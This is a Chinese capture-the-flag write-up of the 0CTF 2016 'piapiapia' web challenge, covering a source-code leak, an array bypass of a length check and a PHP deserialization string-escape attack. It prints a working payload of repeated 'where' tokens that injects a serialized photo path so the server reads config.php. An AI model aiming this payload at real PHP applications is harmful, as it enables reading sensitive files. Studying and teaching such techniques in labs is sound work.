# [0CTF 2016]piapiapia解题详细思路及复现

[0CTF 2016]piapiapia解题详细思路及复现

  • 题目链接
    https://buuoj.cn/challenges#[0CTF%202016]piapiapia

    1. 知识点

  • 信息泄露
  • 参数传递数组绕过字符串检测
  • 反序列化字符逃逸

    2. 开始复现

    2.1 初探题目

  • 开打题目连接我们可以看到是一个登录页面

不知道为啥我一看到登录页面就想SQL注入一波,我还是太年轻了。这道题没有给出提示,SQL注入也不是没有可能,尝试一波之后放弃了,CTF直接登录框就注入的还是不多。

  • 注册账号
    看来我们还是得老老实实得注册个账号来登录看看有什么功能点,并且熟悉网站结构。但是在登录页面又没有给出注册按钮,看来我们还得自己猜一下,通常是:/register.php。
  • 浏览功能
    登录成功后我们看到是一个上传个人信息的一个页面,看到可以上传图片,第一时间就想到了文件上传漏洞。我还是太年轻了,一波操作后没有饶得过。上传了一个正常的信息,发现跳转到profile.php展示出来我们的信息
  • 目录扫面
    功能都试过了,没有可以利用的地方(是我太菜)。我们可以扫一下目录,看看有什么隐藏的文件呀,信息泄露什么的,毕竟CTF很多题型是信息泄露+代码审计嘛。拿出御剑扫描后,浏览网页发现访问太快了,返回429状态码。看了网上大佬们的Writeup发现dirsearch可以扫描出来www.zip,我试了下dirsearch要记得加延时参数。
    拿到了网站的源码我们的信息收集差不多就完了,我们现在可以在源码中寻找突破点

    2.2 代码审计

  • 熟悉网站结构
    我们拿到的源码里的文件不是很多,class.php里有一些重要的函数,update.php和profile.php我们比较熟悉了,一个上传文件,一个获取文件。最重要的是config.php,我们看到flag在里面
  • 根据前端流程细看可疑函数
    注册和登录那一块就不用看了吧,主要突破的地方是上传资料和显示资料那里。

    --- 首先是update.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');

        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>

??一眼可以看出这里用了一堆正则表达式来过滤我们提交的数据,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。用文章开头的知识点二,如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。
??在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以大胆的尝试用反序列化漏洞来搞一下。
??我们再看看update_profile()到底是个啥,使用全局搜索我们在class.php中看到了定义的update_profile()方法

    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

??我们再继续追寻下去
filter()

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

update()

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

??update.php我们基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为‘hacker‘

--- 然后我们再看profile.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

??我们可以看到这里有反序列化还有文件读取,我们对这道题应该有了大致的思路了。flag在config.php中,而且有序列化,过滤替换,反序列化,文件读取,这不就是CTF中反序列字符逃逸的常见套路吗。我们构造包含config.php的数据,利用字符串逃逸,在profile.php中读取出来

2.3 反序列化字符逃逸知识补充

  • PHP反序列化字符逃逸
    举个小例子
    序列化
<?php
$a = array('123', 'abc', 'defg');
var_dump(serialize($a));
?>

结果

string(49) "a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}" 

反序列化

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>

运行结果

array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(4) "defg" } 

??我们可以看到在后端中,反序列化是一";}结束的,如果我们把";}带入需要反序列化的字符串中(除了结尾处),是不是就能让反序列化提前结束后面的内容就丢弃了呢?
??我们把第二个值abc换成abc";i:2;s:5:"qwert";}

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>

运行结果

array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(5) "qwert" } 

成功的反序列化出我们自己定义的内容,丢弃了原先的内容(i:2;s:4:"defg")
反序列化字符逃逸就先介绍到这里,我们回过头来看一下题

  • 突破口
    我们发现一个问题,我们反序列化字符逃逸,首先序列化的字符是可控的,还有前面的长度是可控的。但update.php将参数序列化,我们可控变量的长度就已经写死了,怎么才能去控制呢。这道题的突破口其实就是序列化过后数据过滤替换那里,看似更加安全,其实更加危险。
//过滤函数
    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

??这里是将‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘替换成‘hacker‘,我们写入where替换成hacker之后字符串实际的长度就+1,因此实际的长度大于序列化固定的长度(变量前面‘s’里的值)。利用反序列化字符串逃逸,反序列化时只能将字符串中nickname前面的s后面长度的字符串反序列化成功,这个是传参的时候就固定好了。剩下的字符串我们构造成class.php因为里面包含了flag,并且让他在photo位置上,然后把photo给扔掉,这样在profile.php中读取的photo就是我们构造的config.php了,也就是读取到了flag
??简单说就是利用后端的函数替换,导致实际长度增加,增加的部分(config.php)被挤了出来,到了photo的位置上,然后闭合。
??再举个例方便大家理解

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$a = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($b));
var_dump(unserialize($b));
?>

abc前面的s:3:不变,因为是序列化的时候固定了
我们将abc构造成:abc";i:2;s:5:"qwert";}我们再最后构造了一个闭合,导致defg被丢弃,qwert占用了defg原本的位置
??还是回到这一道题上,我们的目的是将";}s:5:"photo";s:10:"config.php";}插入序列化的字符串里面去,这个的长度为34,所以我们要挤出来34位,不然就成了nickname的值了。where会替换成hacker,长度加1,所以我们要构造34个where。然后去profile.php查看读取的内容。

3.4 详细步骤

  • 注册账户
  • 登录账户
  • 随意提交一些资料抓包
  • 修改nickname为nickname[],数组绕过长度检测
  • 修改nickname中的内容
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

  • 发包
  • 去profile.php查看读取的文件,base64编码

成功获取falg

补充

??之前我传入的是";s:5:"photo";s:10:"config.php";}结果失败了,看了网上的一些文章,发现他们传入的是";}s:5:"photo";s:10:"config.php";}为什么前面要多加一个},后来发现是因为我们nickname构造成了数组,而不是字符,所以要加}闭合一下。

原文地址:https://www.cnblogs.com/g0udan/p/12216207.html

时间: 2024-07-31 05:18:24

# [0CTF 2016]piapiapia解题详细思路及复现的相关文章

刷题记录:[0CTF 2016]piapiapia(欠)

目录 刷题记录:[0CTF 2016]piapiapia 刷题记录:[0CTF 2016]piapiapia 今天可能要欠着了 原文地址:https://www.cnblogs.com/20175211lyz/p/11444134.html

[0CTF 2016]piapiapia

很有意思的一道题 访问页面之后是登录界面 尝试弱口令登录一下,无果 查看源代码之后也没有什么提示,扫描敏感目录,发现有源码泄露. 这里我用御剑没有扫出来源码泄露,可能跟扫描线程太快了有关,查看www.zip里面泄露的源代码 class.php里面定义了user和mysql两个类 config.php里面是服务器搭建环境的时候设置的参数,如果读者有自己本地搭建环境的经验就会知道,我们下载下来源码之后,还需要根据自己本地的环境进行相应的配置,比如说我们需要在config.php里面设置自己本地数据库

关于解题的思路与方法

很多学生问我这个问题,拿来一道题(或实际一个问题)解决它的思路和方法是什么. 其实人的思维是最难描述的.每个人的思考方式和习惯都不尽相同,解决同一个问题达到同一个效果的方式也是如此.简单的讲,"思路"是难以给出一个单一模式的,但是前人还是总结了很多方法.下面列出我个人比较常用的解题方法和思路,供大家参考. 博文首发地址:http://blog.csdn.net/duzixi 先说说解体思路. 解体思路有两大基本套路:一个是"自上而下",另一个是"自下而上&

史上最详细的IDEA优雅整合Maven+SSM框架(详细思路+附带源码)

目录 前言: 1. 搭建整合环境 2.Spring框架代码的编写 3.SpringMVC框架代码的编写 4. Spring整合SpringMVC的框架 5.MyBatis框架代码的编写 6. Spring整合MyBatis框架 7.spring整合mybatis框架配置事务(Spring的声明式事务管理) 8.源码.源码.源码~重要的标题发三遍 前言: 网上很多整合SSM博客文章并不能让初探ssm的同学思路完全的清晰,可以试着关掉整合教程,摇两下头骨,哈一大口气,就在万事具备的时候,开整,这个时

js 手动实现bind方法,超详细思路分析!

壹 ? 引 在 js 实现call和apply方法 一文中,我们详细分析并模拟实现了call/apply方法,由于篇幅问题,关于bind方法实现只能另起一篇. 在模拟bind之前,我们先了解bind的概念,这里引入MDN解释: bind() 方法创建一个新的函数,在 bind() 被调用时,这个新函数的 this 被指定为 bind() 的第一个参数,而其余参数将作为新函数的参数,供调用时使用. 说的通俗一点,bind与apply/call一样都能改变函数this指向,但bind并不会立即执行函

剑指Offer -- 重建二叉树(详细思路)

题目描述: 输入某二叉树的前序遍历和中序遍历的结果,请重建出该二叉树.假设输入的前序遍历和中序遍历的结果中都不含重复的数字. 例如输入前序遍历序列{1,2,4,7,3,5,6,8}和中序遍历序列{4,7,2,1,5,3,8,6},则重建二叉树并返回. 先贴上完整代码: 1 /** 2 * Definition for binary tree 3 * public class TreeNode { 4 * int val; 5 * TreeNode left; 6 * TreeNode right

八皇后问题 递归实现 C语言 超详细 思路 基础

八皇后问题 :假设 將八个皇后放到国际象棋盘上,使其两两之间无法相互攻击.共有几种摆法? 基础知识: 国际象棋里,棋盘为8X8格. 皇后每步可以沿直线.斜线 走任意格. 思路: 1.想把8个皇后放进去,肯定最终每行只有一个皇后,每列只有一个皇后. 2.设个二维数组chess [ i ] [ j ] 模拟棋盘,cas存放摆法.i j 是表示i行j列: 写一个用于递归的函数,思路如下 3.从上往下一行行的放皇后,放下一行时从最左边(第0列)放起,如果不能放就往右挪一格再试.注意判断右边有没有越界出棋

2016 第七届蓝桥杯 c/c++ B组省赛真题及解题报告

2016 第七届蓝桥杯 c/c++ B组省赛真题及解题报告 勘误1:第6题第4个 if最后一个条件粗心写错了,答案应为1580. 条件应为abs(a[3]-a[7])!=1,宝宝心理苦啊.!感谢zzh童鞋的提醒. 勘误2:第7题在推断连通的时候条件写错了,后两个if条件中是应该是<=12 落了一个等于号.正确答案应为116. 1.煤球数目 有一堆煤球.堆成三角棱锥形.详细: 第一层放1个, 第二层3个(排列成三角形), 第三层6个(排列成三角形), 第四层10个(排列成三角形). -. 假设一共

验证回文串的一点解题思路

回文串,就是说给出的字符串中的字符是否对称,即:第一个字符与最后一个字符相等,第二个字符等于倒数第二个字符,以此类推,忽略大小写以及标点符号. e.g: A man, a plan, a canal: Panama =====>>>>输出应为true race a car ======>>>>输出应为false 这道题,在看清楚题目要求之后,其实就可以有解题的思路了.忽略大小写,那直接把字符串全都转换为小写就可以了(大写也可以啦只要喜欢就好),这样在后面的判